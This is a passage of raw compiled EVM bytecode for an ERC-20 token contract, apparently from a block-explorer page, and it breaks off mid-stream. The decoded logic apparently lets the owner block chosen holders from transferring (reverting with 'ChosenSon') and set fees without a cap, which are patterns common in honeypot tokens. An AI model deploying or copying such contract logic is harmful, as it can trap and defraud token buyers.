ff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990612aa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612aa9565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60116020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f01906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2d906129c9565b8015610f7a5780601f10610f4f57610100808354040283529160200191610f7a565b820191906000526020600020905b815481529060010190602001808311610f5d57829003601f168201915b5050505050905090565b60078060000154908060010154908060020154908060030154905084565b600b8060000154908060010154908060020154908060030154908060040154905085565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90612aa9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006110bc33848461159d565b6001905092915050565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612aa9565b60405180910390fd5b82601760006101000a81548160ff0219169083151502179055508160188190555080601981905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612aa9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612aa9565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a37565b905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159091906124ca565b60405180910390a3505050565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061163f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590612b15565b60405180910390fd5b6000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117215750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118cb57601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117ca5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118ca57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c557601654600010611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90612b81565b60405180910390fd5b601a60009054906101000a900460ff166118c457600061188530610c2b565b9050601760009054906101000a900460ff1680156118a35750600081115b156118c2576019548111156118b85760195490505b6118c181611a9a565b5b505b5b600190505b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561196d5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119c657600560009054906101000a900460ff16600a61198e9190612cd4565b6123c661199b9190612d1f565b82146119ad57600060168190556119b4565b4360168190555b506119c0848484611ffa565b506119d4565b6119d2848484846120f2565b505b505050565b60008082846119e89190612d79565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612df9565b60405180910390fd5b8091505092915050565b60008083118290611a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a759190612575565b60405180910390fd5b5060008385611a8d9190612e48565b9050809150509392505050565b6001601a60006101000a81548160ff0219169083151502179055506000611ae6600b60040154611ad8600b60020154856122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611b2c6002611b1e600b60040154611b10600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611b5583611b47848761233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000600267ffffffffffffffff811115611b7457611b73612e79565b5b604051908082528060200260200182016040528015611ba25781602001602082028036833780820191505090505b5090503081600081518110611bba57611bb9612ea8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c859190612eec565b81600181518110611c9957611c98612ea8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d37959493929190613012565b600060405180830381600087803b158015611d5157600080fd5b505af1158015611d65573d6000803e3d6000fd5b5050505060004790506000611db7600b60020154611da9611d956002600b6001015461146890919063ffffffff16565b600b6004015461233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000611df86002611dea84611ddc600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611e2683611e18600b60030154876122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611e4f82611e41858861233d90919063ffffffff16565b61233d90919063ffffffff16565b9050600080821115611eef57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611ea59061309d565b600060405180830381858888f193505050503d8060008114611ee3576040519150601f19603f3d011682016040523d82523d6000602084013e611ee8565b606091505b5050809150505b6000891115611fd2576000841115611fd157601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611f8a969594939291906130b2565b60606040518083038185885af1158015611fa8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fcd9190613128565b5050505b5b505050505050505050506000601a60006101000a81548160ff02191690831515021790555050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120459190612d79565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120e591906124ca565b60405180910390a3505050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d9190612a29565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156122a6576000601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121e9576007600001549050612252565b601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612248576007600101549050612251565b60076002015490505b5b600061227e60076003015461227084886122c390919063ffffffff16565b61146890919063ffffffff16565b905060008111156122a35780836122959190612d79565b92506122a2873083611ffa565b5b50505b6122bc858583866122b79190612a29565b611ffa565b5050505050565b60008083036122d55760009050612337565b600082846122e39190612d1f565b90508284826122f29190612e48565b14612332576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612329906131ed565b60405180910390fd5b809150505b92915050565b600061237f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612387565b905092915050565b60008383111582906123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c69190612575565b60405180910390fd5b50600083856123de9190612a29565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061241b826123f0565b9050919050565b61242b81612410565b811461243657600080fd5b50565b60008135905061244881612422565b92915050565b600060208284031215612464576124636123eb565b5b600061247284828501612439565b91505092915050565b60008115159050919050565b6124908161247b565b82525050565b60006020820190506124ab6000830184612487565b92915050565b6000819050919050565b6124c4816124b1565b82525050565b60006020820190506124df60008301846124bb565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561251f578082015181840152602081019050612504565b60008484015250505050565b6000601f19601f8301169050919050565b6000612547826124e5565b61255181856124f0565b9350612561818560208601612501565b61256a8161252b565b840191505092915050565b6000602082019050818103600083015261258f818461253c565b905092915050565b6125a0816124b1565b81146125ab57600080fd5b50565b6000813590506125bd81612597565b92915050565b600080604083850312156125da576125d96123eb565b5b60006125e885828601612439565b92505060206125f9858286016125ae565b9150509250929050565b60008060006060848603121561261c5761261b6123eb565b5b600061262a86828701612439565b935050602061263b86828701612439565b925050604061264c868287016125ae565b9150509250925092565b600060ff82169050919050565b61266c81612656565b82525050565b60006020820190506126876000830184612663565b92915050565b61269681612410565b82525050565b60006020820190506126b1600083018461268d565b92915050565b600080600080608085870312156126d1576126d06123eb565b5b60006126df878288016125ae565b94505060206126f0878288016125ae565b9350506040612701878288016125ae565b9250506060612712878288016125ae565b91505092959194509250565b6127278161247b565b811461273257600080fd5b50565b6000813590506127448161271e565b92915050565b60008060408385031215612761576127606123eb565b5b600061276f85828601612439565b925050602061278085828601612735565b9150509250929050565b600060808201905061279f60008301876124bb565b6127ac60208301866124bb565b6127b960408301856124bb565b6127c660608301846124bb565b95945050505050565b600060a0820190506127e460008301886124bb565b6127f160208301876124bb565b6127fe60408301866124bb565b61280b60608301856124bb565b61281860808301846124bb565b9695505050505050565b60008060006060848603121561283b5761283a6123eb565b5b600061284986828701612735565b935050602061285a868287016125ae565b925050604061286b868287016125ae565b9150509250925092565b6000806040838503121561288c5761288b6123eb565b5b600061289a85828601612439565b92505060206128ab85828601612439565b9150509250929050565b60006128c0826123f0565b9050919050565b6128d0816128b5565b81146128db57600080fd5b50565b6000813590506128ed816128c7565b92915050565b600060208284031215612909576129086123eb565b5b6000612917848285016128de565b91505092915050565b6000819050919050565b600061294561294061293b846123f0565b612920565b6123f0565b9050919050565b60006129578261292a565b9050919050565b60006129698261294c565b9050919050565b6129798161295e565b82525050565b60006020820190506129946000830184612970565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806129e157607f821691505b6020821081036129f4576129f361299a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a34826124b1565b9150612a3f836124b1565b9250828203905081811115612a5757612a566129fa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a936020836124f0565b9150612a9e82612a5d565b602082019050919050565b60006020820190508181036000830152612ac281612a86565b9050919050565b7f43686f73656e536f6e0000000000000000000000000000000000000000000000600082015250565b6000612aff6009836124f0565b9150612b0a82612ac9565b602082019050919050565b60006020820190508181036000830152612b2e81612af2565b9050919050565b7f2173746172744164644c50000000000000000000000000000000000000000000600082015250565b6000612b6b600b836124f0565b9150612b7682612b35565b602082019050919050565b60006020820190508181036000830152612b9a81612b5e565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612bf857808604811115612bd457612bd36129fa565b5b6001851615612be35780820291505b8081029050612bf185612ba1565b9450612bb8565b94509492505050565b600082612c115760019050612ccd565b81612c1f5760009050612ccd565b8160018114612c355760028114612c3f57612c6e565b6001915050612ccd565b60ff841115612c5157612c506129fa565b5b8360020a915084821115612c6857612c676129fa565b5b50612ccd565b5060208310610133831016604e8410600b8410161715612ca35782820a905083811115612c9e57612c9d6129fa565b5b612ccd565b612cb08484846001612bae565b92509050818404811115612cc757612cc66129fa565b5b81810290505b9392505050565b6000612cdf826124b1565b9150612cea83612656565b9250612d177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c01565b905092915050565b6000612d2a826124b1565b9150612d35836124b1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d6e57612d6d6129fa565b5b828202905092915050565b6000612d84826124b1565b9150612d8f836124b1565b9250828201905080821115612da757612da66129fa565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612de3601b836124f0565b9150612dee82612dad565b602082019050919050565b60006020820190508181036000830152612e1281612dd6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e53826124b1565b9150612e5e836124b1565b925082612e6e57612e6d612e19565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612ee681612422565b92915050565b600060208284031215612f0257612f016123eb565b5b6000612f1084828501612ed7565b91505092915050565b6000819050919050565b6000612f3e612f39612f3484612f19565b612920565b6124b1565b9050919050565b612f4e81612f23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612f8981612410565b82525050565b6000612f9b8383612f80565b60208301905092915050565b6000602082019050919050565b6000612fbf82612f54565b612fc98185612f5f565b9350612fd483612f70565b8060005b83811015613005578151612fec8882612f8f565b9750612ff783612fa7565b925050600181019050612fd8565b5085935050505092915050565b600060a08201905061302760008301886124bb565b6130346020830187612f45565b81810360408301526130468186612fb4565b9050613055606083018561268d565b61306260808301846124bb565b9695505050505050565b600081905092915050565b50565b600061308760008361306c565b915061309282613077565b600082019050919050565b60006130a88261307a565b9150819050919050565b600060c0820190506130c7600083018961268d565b6130d460208301886124bb565b6130e16040830187612f45565b6130ee6060830186612f45565b6130fb608083018561268d565b61310860a08301846124bb565b979650505050505050565b60008151905061312281612597565b92915050565b600080600060608486031215613141576131406123eb565b5b600061314f86828701613113565b935050602061316086828701613113565b925050604061317186828701613113565b9150509250925092565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131d76021836124f0565b91506131e28261317b565b604082019050919050565b60006020820190508181036000830152613206816131ca565b905091905056fea2646970667358221220095fee0f72d5956b85d5b1f74aca977a4729ff2a3a3c2d35fa268f00262008c164736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d41431461066c578063dd62ed3e14610695578063f2fde38b146106d2578063f887ea40146106fb576101cd565b8063a8424861146105b2578063a9059cbb146105db578063acef1a4414610618578063d088935814610643576101cd565b80638da5cb5b116100d15780638da5cb5b146104ff57806395d89b411461052a5780639af1d35a14610555578063a806d62e14610583576101cd565b8063715018a6146104825780637888ffdf146104995780637d6027cd146104c2576101cd565b80633c11100d1161016457806366c907c51161013e57806366c907c5146103c85780636ddd1713146103f15780636fcba3771461041c57806370a0823114610445576101cd565b80633c11100d146103355780634188bf5a14610372578063553193ca1461039d576101cd565b8063095ea7b3116101a0578063095ea7b31461026557806318160ddd146102a257806323b872dd146102cd578063313ce5671461030a576101cd565b806301986fad146101d25780630445b6671461020f57806306fdde031461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f4919061244e565b610726565b6040516102069190612496565b60405180910390f35b34801561021b57600080fd5b50610224610746565b60405161023191906124ca565b60405180910390f35b34801561024657600080fd5b5061024f61074c565b60405161025c9190612575565b60405180910390f35b34801561027157600080fd5b5061028c600480360381019061028791906125c3565b6107de565b6040516102999190612496565b60405180910390f35b3480156102ae57600080fd5b506102b76107f5565b6040516102c491906124ca565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612603565b6107ff565b6040516103019190612496565b60405180910390f35b34801561031657600080fd5b5061031f6109a5565b60405161032c9190612672565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061244e565b6109bc565b6040516103699190612496565b60405180910390f35b34801561037e57600080fd5b506103876109dc565b604051610394919061269c565b60405180910390f35b3480156103a957600080fd5b506103b2610a02565b6040516103bf91906124ca565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea91906126b7565b610a08565b005b3480156103fd57600080fd5b50610406610b36565b6040516104139190612496565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e91906126b7565b610b49565b005b34801561045157600080fd5b5061046c6004803603810190610467919061244e565b610c2b565b60405161047991906124ca565b60405180910390f35b34801561048e57600080fd5b50610497610c74565b005b3480156104a557600080fd5b506104c060048036038101906104bb919061274a565b610dc0565b005b3480156104ce57600080fd5b506104e960048036038101906104e4919061244e565b610ea9565b6040516104f69190612496565b60405180910390f35b34801561050b57600080fd5b50610514610ec9565b604051610521919061269c565b60405180910390f35b34801561053657600080fd5b5061053f610ef2565b60405161054c9190612575565b60405180910390f35b34801561056157600080fd5b5061056a610f84565b60405161057a949392919061278a565b60405180910390f35b34801561058f57600080fd5b50610598610fa2565b6040516105a99594939291906127cf565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061274a565b610fc6565b005b3480156105e757600080fd5b5061060260048036038101906105fd91906125c3565b6110af565b60405161060f9190612496565b60405180910390f35b34801561062457600080fd5b5061062d6110c6565b60405161063a91906124ca565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612822565b6110cc565b005b34801561067857600080fd5b50610693600480360381019061068e919061274a565b611187565b005b3480156106a157600080fd5b506106bc60048036038101906106b79190612875565b611270565b6040516106c991906124ca565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f491906128f3565b6112f7565b005b34801561070757600080fd5b50610710611442565b60405161071d919061297f565b60405180910390f35b60106020528060005260406000206000915054906101000a900460ff1681565b60185481565b60606003805461075b906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610787906129c9565b80156107d45780601f106107a9576101008083540402835291602001916107d4565b820191906000526020600020905b8154815290600101906020018083116107b757829003601f168201915b5050505050905090565b60006107eb3384846114b2565b6001905092915050565b6000600654905090565b600061080c84848461159d565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461099a5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109199190612a29565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600560009054906101000a900460ff16905090565b60146020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612aa9565b60405180910390fd5b6000610acf83610ac184610ab389896119d990919063ffffffff16565b6119d990919063ffffffff16565b6119d990919063ffffffff16565b90506040518060a0016040528086815260200185815260200184815260200183815260200182815250600b60008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050505050505050565b601760009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90612aa9565b60405180910390fd5b60405180608001604052808581526020018481526020018381526020018281525060076000820151816000015560208201518160010155604082015181600201556060820151816003015590505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990612aa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612aa9565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60116020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f01906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2d906129c9565b8015610f7a5780601f10610f4f57610100808354040283529160200191610f7a565b820191906000526020600020905b815481529060010190602001808311610f5d57829003601f168201915b5050505050905090565b60078060000154908060010154908060020154908060030154905084565b600b8060000154908060010154908060020154908060030154908060040154905085565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90612aa9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006110bc33848461159d565b6001905092915050565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612aa9565b60405180910390fd5b82601760006101000a81548160ff0219169083151502179055508160188190555080601981905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612aa9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612aa9565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a37565b905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159091906124ca565b60405180910390a3505050565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061163f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590612b15565b60405180910390fd5b6000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117215750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118cb57601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117ca5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118ca57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c557601654600010611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90612b81565b60405180910390fd5b601a60009054906101000a900460ff166118c457600061188530610c2b565b9050601760009054906101000a900460ff1680156118a35750600081115b156118c2576019548111156118b85760195490505b6118c181611a9a565b5b505b5b600190505b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561196d5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119c657600560009054906101000a900460ff16600a61198e9190612cd4565b6123c661199b9190612d1f565b82146119ad57600060168190556119b4565b4360168190555b506119c0848484611ffa565b506119d4565b6119d2848484846120f2565b505b505050565b60008082846119e89190612d79565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612df9565b60405180910390fd5b8091505092915050565b60008083118290611a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a759190612575565b60405180910390fd5b5060008385611a8d9190612e48565b9050809150509392505050565b6001601a60006101000a81548160ff0219169083151502179055506000611ae6600b60040154611ad8600b60020154856122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611b2c6002611b1e600b60040154611b10600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611b5583611b47848761233d90919063ffffffff16565b61233d90919063ff